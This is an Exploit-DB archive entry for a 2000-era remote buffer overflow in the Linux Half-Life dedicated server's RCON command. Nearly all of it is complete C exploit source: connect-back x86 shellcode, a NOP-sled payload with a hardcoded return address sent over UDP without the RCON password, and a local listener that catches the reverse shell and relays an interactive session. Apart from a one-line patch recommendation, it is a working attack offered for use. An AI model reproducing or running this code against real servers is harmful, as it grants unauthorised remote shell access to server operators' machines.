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Half-Life
by:
Thiago Zaninotti and Gustavo Scotti
7,5
CVSS
HIGH
Buffer Overflow
120
CWE
Product Name: Half-Life
Affected Version From: 3.1.0.x
Affected Version To: 3.1.0.x
Patch Exists: YES
Related CWE: N/A
CPE: N/A
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Platforms Tested: Linux
2002

SDI HalfLife rcon remote exploit for linux x86

There is a remote exploitable buffer overflow in Half Life server (3.1.0.x) for linux (HLDS). The problem is related to the RCON command (Remote CONsole). After several tests, we found out the 'rcon' command is also vulnerable to a format string attack which can also lead to a remote exploit. YOU DO NOT NEED THE RCON PASSWORD TO EXPLOIT THIS VULNERABILITY, which means any multiplayer server is vulnerable to the attack.

Mitigation:

Apply the latest security patches and updates to the system.
Source

Exploit-DB raw data:

/*
 *  SDI HalfLife rcon remote exploit for linux x86
 *  (portuguese) exploit remoto para o buffer overflow do rcon no halflife
 *  
 *  Tamandua Sekure Labs (Sao Paulo - Porto Alegre, Brazil)
 *  by Thiago Zaninotti (c0nd0r) <condor@sekure.org>
 *     Gustavo Scotti   (csh)    <csh@sekure.org>
 *  
 *  Proof of concept - There is a remote exploitable buffer overflow
 *  in Half Life server (3.1.0.x) for linux (HLDS). The problem is 
 *  related to the RCON command (Remote CONsole).
 *  (port.) Existe um buffer overflow exploitavel no Half Life Server
 *  (HLDS) relacionado ao comando RCON.
 *  
 *  After several tests, we found out the 'rcon' command is also vulnerable
 *  to a format string attack which can also lead to a remote exploit.
 *  (port) O comando RCON tambem e' vulneravel a um format string attack.
 *  
 *  YOU DO NOT NEED THE RCON PASSWORD TO EXPLOIT THIS VULNERABILITY, 
 *  which means any multiplayer server is vulnerable to the attack.
 *  (port) Voce nao precisa de password para explorar esta vulnerabilidade,
 *    o que significa que qualquer servidor e' vulneravel.
 *  
 *  Agradecimentos: Tamandua Sekure Labs, Fabio Ramos (framos@axur.org), 
 *  Eduardo Freitas, Marcos Sposito, Roberto Monteiro (casper),
 *  Nelson Britto (stderr), Sabrina Monteiro, Gabriel Zaninotti e 
 *  Felipe Salum. A todos os leitores da Best of Security Brasil (BOS-BR).
 *  
 *  Respects: c_orb, el8.org (specially duke), meta, guys at core sdi, 
 *  the "infame" TOXYN.ORG (pt rocks) - r00t, pr0m, horizon, plaguez, 
 *  ratao and p.ulh.as/promisc.net crew. Greetz to AXUR.ORG too! guys at
 *  sekure.org: vader, jamez, falcon and staff.
 *  
 *  also thanks to botman (botman@mailandnews.com).
 *  Visit the brazilian security portal: http://www.securenet.com.br
 */

#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>

typedef unsigned long	u32;
typedef unsigned short	u16;
typedef unsigned char	u8;

unsigned char shellcode[]=
  "\xeb\x03\x5e\xeb\x1d\xe8\xf8\xff\xff\xff scotti@axur.org"
  "\x2f\x62\x69\x6e\x2f"
  "\x73\x68\x40\x31\xc0\x66\x40\x66\x40\x66\x89\x06\x31\xc9\xb1\x08"
  "\x89\xf7\x83\xc7\x08\x30\xc0\x88\x07\x47\x49\x75\xfa\x31\xc0\x89"
  "\x46\x28\x40\x89\x46\x24\x40\x89\x46\x20\x8d\x4e\x20\x31\xdb\x43"
  "\x31\xc0\x83\xc0\x66\xcd\x80\x89\xc7\x89\x46\x20\x8d\x06\x89\x46"
  "\x24\x31\xc0\x83\xc0\x10\x89\x46\x28\x8d\x4e\x20\x31\xdb\x43\x43"
  "\x43\x31\xc0\x83\xc0\x66\x57\xcd\x80\x5f\x31\xc0\x83\xc0\x3f\x89"
  "\xfb\x31\xc9\xcd\x80\x31\xc0\x83\xc0\x3f\x31\xdb\x31\xc9\x41\xcd"
  "\x80\x31\xc0\x83\xc0\x3f\x31\xdb\x31\xc9\x41\x41\xcd\x80\x89\xf0"
  "\x83\xc0\x18\x89\x46\x18\x31\xc0\x88\x46\x17\x89\x46\x1c\xb0\x0b"
  "\x8d\x4e\x18\x8d\x56\x1c\x89\xf3\x83\xc3\x10\xcd\x80\x31\xc0\x40"
  "\xcd\x80";

/* NET functions */
int
udp_read( int sock, u32 *daddr, u16 *port, void *ptr, u16 ptr_size)
{
        struct sockaddr_in server;
        int i,n;
        i = sizeof(server);
        n=recvfrom( sock, ptr, ptr_size, 0, (struct sockaddr *)&server, &i);
        *daddr = ntohl(server.sin_addr.s_addr);
        *port = ntohs(server.sin_port);
        return n;
}

int
udp_send( int sock, u32 daddr, u16 port, void *ptr, u16 ptr_size)
{
        struct sockaddr_in server;
        server.sin_family = AF_INET;
        server.sin_port = htons( port);
        server.sin_addr.s_addr = htonl( daddr);
        return sendto( sock, ptr, ptr_size, 0, (struct sockaddr *)&server, sizeof(server));
}

int
udp_connect( u32 addr, u16 port)
{
        struct sockaddr_in client;
        int new_fd;

        new_fd = socket( AF_INET, SOCK_DGRAM, 0);
        if (new_fd<0)
           return new_fd;

        bzero( (char *) &client, sizeof( client));
        client.sin_family = AF_INET;
        client.sin_addr.s_addr = htonl( addr);
        client.sin_port = htons( port);
        if (connect( new_fd, (struct sockaddr *)&client, sizeof(client))<0)
           return -1; /* cant bind local address */

        return new_fd;
}

u32 dns2ip( u8 *host)
{
        struct hostent *dns;
        u32     saddr;
        dns = gethostbyname( host);
        if (!dns)
           return 0xffffffff;
        bcopy( (char *)dns->h_addr, (char *)&saddr, dns->h_length);
        return ntohl(saddr);
}

int
async_read( int sock_r, int rettime)
{
   fd_set           fd_r;
   struct timeval   tv;
   char             try_ch[4]="/-\\|";

   int r,j;

   for (r=0;r<rettime;r++)
       {
       for (j=0;j<20;)
           {
           int i;

           printf("\b%c", try_ch[(j%4)]);
           fflush(stdout);

           FD_ZERO( &fd_r);
           FD_SET( sock_r, &fd_r);

	   tv.tv_sec  = 0;
	   tv.tv_usec = 50000;
           
	   i =select( sock_r + 1, &fd_r, NULL, NULL, &tv);
           if (!i) { j++; continue; }
           if (i>0)
	      if (FD_ISSET(sock_r, &fd_r)) return sock_r;
           else
              return -1;
           }
       }
   return -1;
}

int
get_server_info( int sock, u32 addr, u16 port)
{
   u32 r_addr;
   u16 r_port;
   int n, i;
   u8  pkt[256], *str;

   pkt[0] = pkt[1] = pkt[2] = pkt[3] = 0xff;
   sprintf(&pkt[4], "details");

   n = udp_send(sock, addr, port, pkt, strlen(pkt));
   printf(".  connecting to the server...  "); fflush(stdout);
   if (async_read(sock, 6)<0)
       goto server_down;
   n = udp_read(sock, &addr, &port, pkt, sizeof(pkt));
   if (n<0)
	{
server_down:
	printf("\bserver down!\r*\n");
	exit(0);
	}
   printf("\bdone\n");
   str = &pkt[4]; 
   str+=strlen(str)+1;
   printf("\t server_name  [%s]\n", str); str+=strlen(str)+1;
   printf("\t    map_name  [%s]\n", str); str+=strlen(str)+1;
   str+=strlen(str)+1;

   printf("\t   game_name  [%s]\n", str); str+=strlen(str)+1;
   printf("\tusers_online  [%d of %d]\n", str[0], str[1]); str+=3;
   printf("\t   remote_OS  [%s]\n", (str[1]=='w' ? "windows" : (str[1]=='l' ? "linux" : "unknown")));
   if (str[1]=='w') return 2;
   if (str[1]=='l') return 1;
   return 0;
}

u32 retrieve_local_info(int sock, u8 *host)
{
   struct sockaddr_in server;
   int    soclen;
   soclen = sizeof(server);
   if (getsockname(sock, (struct sockaddr *)&server, &soclen)<0)
       {
       printf("error in getsockname\n");
       exit(0);
       }
   snprintf(host, 256, "%s:%d", inet_ntoa(server.sin_addr), htons(server.sin_port));
   return htonl(server.sin_addr.s_addr);
}

int 
bind_tcp( int *port)
{
   struct sockaddr_in mask_addr;
   int sock, portno=25000; /* base_port */

   sock = socket( AF_INET, SOCK_STREAM, 0);
   if (sock<0)
      return sock;

redo:
   mask_addr.sin_family = AF_INET;
   mask_addr.sin_port = htons( portno);
   mask_addr.sin_addr.s_addr = 0;

   if (bind(sock, (struct sockaddr *)&mask_addr, sizeof(mask_addr))<0)
      {
error:
      portno++;
      if (portno>26000)
         {
         printf("*  no TCP port to bind in.\n");
         exit(0);
         }
      goto redo;
      }
   if (listen( sock, 0)<0)
      goto error;

   printf(".  TCP listen port number %d\n", portno);
   *port = portno;
   return sock;
}

wait_for_connect(int sock)
{
   fd_set fds;
   u8     tmp[256];
   int    tcp, addr_len;
   struct sockaddr_in server;

   printf(".  waiting for connect_back shellcode responde...  ");
   if (async_read(sock, 15)!=sock)
	{
  	printf("\bfailed!\r*\n");
        exit(0);
        }
    tcp = accept( sock, (struct sockaddr *)&server, &addr_len);
    printf("\bconnected\n.       ^---> from %s:%d\n", inet_ntoa(server.sin_addr), ntohs(server.sin_port));
    close(sock); /* closing incoming socket */
    printf(".  congratulations. you have owned this one.\n");

    
    /* basic async mode */
    while (1)
        {
        FD_ZERO(&fds);
        FD_SET(0, &fds);
        FD_SET(tcp, &fds);
       
        if (select(tcp+1, &fds, NULL, NULL, NULL)>0)
           {
           if (FD_ISSET(0, &fds))
              {
              int n;
              n = read(0, tmp, 256);
              if (n<0)
                 goto end_conn;
              if (write(tcp, tmp, n)!=n) goto end_conn;
              }
           if (FD_ISSET(tcp, &fds))
              {
              int n;
              n = read(tcp, tmp, 256);
              if (n<0)
                 goto end_conn;

              if (write(0, tmp, n)!=n) goto end_conn;
              }
	   }
	}
end_conn:
    close(tcp);
    printf(".  bye-bye. Stay tuned for more Tamandua Sekure Labs codes.\n");  
}

assembly_shell_code(int sock, u32 addr, u16 port, u32 laddr, u8 *linfo)
{
   u8    pkt[2048], 
         *shell_ptr;
   struct sockaddr_in *sc_server;
   u32   ret_addr = 0xbfffb1f4, last_byte = 1014, over_head = 40;
   int   i, n, tcp, tcp_port;

   printf(".  localinfo %s\n", linfo);
   tcp = bind_tcp( &tcp_port);
   sc_server = (struct sockaddr_in *)&shellcode[10];
   sc_server->sin_addr.s_addr = htonl(laddr);
   sc_server->sin_port = htons(tcp_port);

   last_byte-=strlen(linfo);
   pkt[0] = pkt[1] = pkt[2] = pkt[3] = 0xff;
   sprintf( &pkt[4], "rcon ");
   i = strlen(pkt);
   shell_ptr = &pkt[i];

   /* find out how many nops we can push before shellcode */
   n = last_byte - i - sizeof(shellcode)-1 - over_head;
   for (i=0;i<n;i++)
       shell_ptr[i] = 0x90; /* nop */
   shell_ptr+=i;

   /* fill in the shellcode */
   for (i=0;i<sizeof(shellcode)-1;i++)
       shell_ptr[i] = shellcode[i];
   shell_ptr+=i;

   /* fill in the overhead buffer */
   for (i=0;i<over_head;i++)
       shell_ptr[i] = '-';
   shell_ptr+=i;

   /* fill return address and ebp */
   *(u32 *)shell_ptr = ret_addr; shell_ptr+=4;
   *(u32 *)shell_ptr = ret_addr; shell_ptr+=4;

   /* finalize string */
   *shell_ptr = 0;

   n = udp_send( sock, addr, port, pkt, strlen(pkt));
   printf(".  sending poison code. %d bytes sent\n",n);
   wait_for_connect(tcp);
}

usage()
{
   printf("\n.  usage: hl-rcon <server ip[:port]>\n");
   exit(-1);
}

main(int argc, char **argv)
{
   u32 addr, laddr;
   u16 port;

   int sock, i;
   u8  linfo[256], *tmp = NULL;

   printf(".  half-life 3.1.0.x remote buffer-overflow for linux x86\n");
   printf(".  (c)2000, Tamandua Sekure Laboratories\n");
   printf(".  Authors: Thiago Zaninotti & Gustavo Scotti\n");

   if (argc<2)
      usage();

   tmp = (u8 *)strchr(argv[1], ':');
   if (tmp)
      {
      *tmp = 0; tmp++;
      port = atoi(tmp);
      }
   else
      {
      printf(":  port not found, using default 27015\n");
      port = 27015;
      }

   addr = dns2ip(argv[1]);

   if (addr==0xffffffff)
      {
      printf("host not found!\n");
      exit(0);
      }

   sock = udp_connect( addr, port);
   laddr = retrieve_local_info(sock, linfo);
   if (get_server_info(sock, addr, port)!=1)
      {
      printf("this is not a linux server. Make a shellcode to it and have fun\n");
      exit(0);
      }
   assembly_shell_code(sock, addr, port, laddr, linfo); 
   
}

// milw0rm.com [2000-11-16]